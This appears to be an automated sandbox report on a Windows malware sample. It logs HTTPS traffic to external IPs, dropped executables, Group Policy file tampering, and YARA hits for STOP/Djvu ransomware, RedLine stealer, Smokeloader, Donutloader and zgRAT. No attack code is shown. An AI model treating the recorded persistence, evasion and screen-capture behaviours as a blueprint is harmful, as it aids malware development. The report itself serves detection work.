Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63745
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63749
Source: unknown	Network traffic detected: HTTP traffic on port 63743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63740
Source: unknown	Network traffic detected: HTTP traffic on port 63808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63744
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63743
Source: unknown	Network traffic detected: HTTP traffic on port 63754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63758
Source: unknown	Network traffic detected: HTTP traffic on port 63765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63750
Source: unknown	Network traffic detected: HTTP traffic on port 63782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63754

Source: unknown	HTTPS traffic detected: 172.67.75.163:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 146.70.56.165:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.130.41.108:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 37.221.125.202:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.240.132.72:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.240.132.72:443 -> 192.168.2.4:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.3:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.1:443 -> 192.168.2.4:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.0:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.2:443 -> 192.168.2.4:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 87.240.137.134:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.32:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.67.133.187:443 -> 192.168.2.4:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.132.113:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.32:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 65.109.242.59:443 -> 192.168.2.4:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.32:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.163:443 -> 192.168.2.4:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.4:63707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 65.109.242.59:443 -> 192.168.2.4:63713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:63724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:63745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:63744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:63791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.4:63792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:63820 version: TLS 1.2

Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe

Code function: 5_2_00895FF0 GdiplusStartup,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GdipCreateBitmapFromHBITMAP,GdipGetImageEncodersSize,GdipGetImageEncoders,GdipSaveImageToFile,DeleteObject,GdipDisposeImage,DeleteObject,ReleaseDC,GdiplusShutdown,

5_2_00895FF0

Source: Yara match	File source: 00000008.00000002.1925118088.00000000041D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: YsL35EpGrjU1rZchKY2714UT.exe PID: 6448, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\TmpE23A.tmp			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\TmpE1CC.tmp			Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands

Yara detected Djvu Ransomware

Source: Yara match	File source: 29.2.B0191BYWi2sm3auk5jNzPdQw.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.B0191BYWi2sm3auk5jNzPdQw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.B0191BYWi2sm3auk5jNzPdQw.exe.22315a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.B0191BYWi2sm3auk5jNzPdQw.exe.22315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.1950926859.0000000002230000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2019168551.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 29.2.B0191BYWi2sm3auk5jNzPdQw.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 29.2.B0191BYWi2sm3auk5jNzPdQw.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.44d0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 15.2.F2MwMOxTR5ZuDHHYSd2btGVy.exe.6f0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 29.2.B0191BYWi2sm3auk5jNzPdQw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 29.2.B0191BYWi2sm3auk5jNzPdQw.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.44d0000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 17.2._C5tySJGGF0UA_S78re9UWIo.exe.4656ff0.6.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.42a7719.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 22.2.B0191BYWi2sm3auk5jNzPdQw.exe.22315a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 22.2.B0191BYWi2sm3auk5jNzPdQw.exe.22315a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 24.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.4510000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.42a7719.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 8.2.YsL35EpGrjU1rZchKY2714UT.exe.4510000.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 17.2._C5tySJGGF0UA_S78re9UWIo.exe.4656ff0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 22.2.B0191BYWi2sm3auk5jNzPdQw.exe.22315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 22.2.B0191BYWi2sm3auk5jNzPdQw.exe.22315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000016.00000002.1950926859.0000000002230000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000B.00000002.2422594075.0000000003AB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000D.00000002.2354627600.000001CEBC380000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000008.00000002.1950018220.0000000004510000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 0000000A.00000002.2470308542.0000000002D60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000008.00000002.1943771708.00000000044D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 0000000A.00000002.2470496556.0000000002E2B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000B.00000002.2414453523.0000000002088000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001D.00000002.2019168551.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000001D.00000002.2019168551.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000016.00000002.1925795583.00000000007EB000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

PE file contains section with special chars

Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Static PE information: section name:
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Static PE information: section name:
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe.0.dr	Static PE information: section name:
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe.0.dr	Static PE information: section name:
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe.0.dr	Static PE information: section name:
Source: WjH5u4L3ZceSlLwRuJa2oMKn.exe.0.dr	Static PE information: section name:

PE file has nameless sections

Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: niko[1].exe.0.dr	Static PE information: section name:
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe.0.dr	Static PE information: section name:
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe.0.dr	Static PE information: section name:
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe.0.dr	Static PE information: section name:
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe.0.dr	Static PE information: section name:
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe.0.dr	Static PE information: section name:
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Windows\System32\GroupPolicy\gpt.ini	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Windows\System32\GroupPolicy\Machine	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Windows\System32\GroupPolicy\User	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	File created: C:\Windows\System32\GroupPolicy\Machine\Registry.pol	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\WjH5u4L3ZceSlLwRuJa2oMKn.exe	File created: C:\Windows\SysWOW64\GroupPolicy\gpt.ini

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Code function: 0_3_0063CFCC	0_3_0063CFCC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Code function: 0_3_043F1410	0_3_043F1410
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Code function: 0_3_043F1410	0_3_043F1410
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Code function: 0_3_043F1410	0_3_043F1410
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Code function: 0_3_043F1410	0_3_043F1410
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Code function: 0_3_043F1410	0_3_043F1410
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Code function: 0_3_043F1410	0_3_043F1410
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Code function: 0_3_043F7C50	0_3_043F7C50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Code function: 0_3_043F7C50	0_3_043F7C50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Code function: 0_3_043F7C50	0_3_043F7C50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Code function: 0_3_043F7C50	0_3_043F7C50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Code function: 0_3_043F7C50	0_3_043F7C50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Code function: 0_3_043F7C50	0_3_043F7C50
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_007F002D	5_2_007F002D
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_0084F0D0	5_2_0084F0D0
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_0088F030	5_2_0088F030
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_0085A200	5_2_0085A200
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_0084D3A0	5_2_0084D3A0
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_008463B0	5_2_008463B0
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_0088E430	5_2_0088E430
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_00840440	5_2_00840440
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_008EF550	5_2_008EF550
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_008486B0	5_2_008486B0
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_00887600	5_2_00887600
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_007BB8E0	5_2_007BB8E0
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_00831C10	5_2_00831C10
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_008AAD00	5_2_008AAD00
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_0088FF00	5_2_0088FF00
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_00843F40	5_2_00843F40
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_0084AF60	5_2_0084AF60
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_00843080	5_2_00843080
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_007E71A0	5_2_007E71A0
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_007F036F	5_2_007F036F
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_00854320	5_2_00854320
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_008345E0	5_2_008345E0
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_007DF580	5_2_007DF580
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_008F86C0	5_2_008F86C0
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_00853610	5_2_00853610
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_008047BF	5_2_008047BF
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_008977E0	5_2_008977E0
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_008F7760	5_2_008F7760
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_007EC960	5_2_007EC960
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_007EA928	5_2_007EA928
Source: C:\Users\user\Documents\SimpleAdobe\NRN3O_fFwiqNbjNW0Hj0MSKB.exe	Code function: 5_2_007FDA86	5_2_007FDA86
